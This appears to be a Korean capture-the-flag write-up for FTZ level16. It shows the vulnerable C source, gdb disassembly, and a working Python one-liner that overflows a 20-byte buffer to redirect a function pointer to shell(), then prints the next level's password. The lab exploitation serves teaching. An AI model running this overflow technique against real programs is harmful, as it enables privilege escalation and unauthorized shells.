```
[level16@ftz level16]$ ls
attackme  attackme.c  hint  public_html  tmp
[level16@ftz level16]$ cat hint


#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}
```

```
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   %ebp
0x08048519 <main+1>:    mov    %esp,%ebp
0x0804851b <main+3>:    sub    $0x38,%esp
0x0804851e <main+6>:    movl   $0x8048500,0xfffffff0(%ebp)
0x08048525 <main+13>:   sub    $0x4,%esp
0x08048528 <main+16>:   pushl  0x80496e8
0x0804852e <main+22>:   push   $0x30
0x08048530 <main+24>:   lea    0xffffffc8(%ebp),%eax
0x08048533 <main+27>:   push   %eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    $0x10,%esp
0x0804853c <main+36>:   mov    0xfffffff0(%ebp),%eax
0x0804853f <main+39>:   call   *%eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret
0x08048543 <main+43>:   nop
0x08048544 <main+44>:   nop
0x08048545 <main+45>:   nop
0x08048546 <main+46>:   nop
0x08048547 <main+47>:   nop
0x08048548 <main+48>:   nop
0x08048549 <main+49>:   nop
0x0804854a <main+50>:   nop
0x0804854b <main+51>:   nop
0x0804854c <main+52>:   nop
0x0804854d <main+53>:   nop
0x0804854e <main+54>:   nop
0x0804854f <main+55>:   nop
End of assembler dump.
(gdb)
```

f0 - c8 → 40 → 0x28

shell 주소 찾기 → disass shell

```
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>:    push   %ebp
0x080484d1 <shell+1>:    mov    %esp,%ebp
0x080484d3 <shell+3>:    sub    $0x8,%esp
0x080484d6 <shell+6>:    sub    $0x8,%esp
0x080484d9 <shell+9>:    push   $0xc19
0x080484de <shell+14>:   push   $0xc19
0x080484e3 <shell+19>:   call   0x80483b4 <setreuid>
0x080484e8 <shell+24>:   add    $0x10,%esp
0x080484eb <shell+27>:   sub    $0xc,%esp
0x080484ee <shell+30>:   push   $0x80485b8
0x080484f3 <shell+35>:   call   0x8048364 <system>
0x080484f8 <shell+40>:   add    $0x10,%esp
0x080484fb <shell+43>:   leave
0x080484fc <shell+44>:   ret
0x080484fd <shell+45>:   lea    0x0(%esi),%esi
End of assembler dump.
(gdb)
```

Shell의 시작 주소는 0x080484d0

```
(gdb) [level16@ftz level16]$
[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|./attac
kme
my-pass

Level17 Password is "king poetic".
```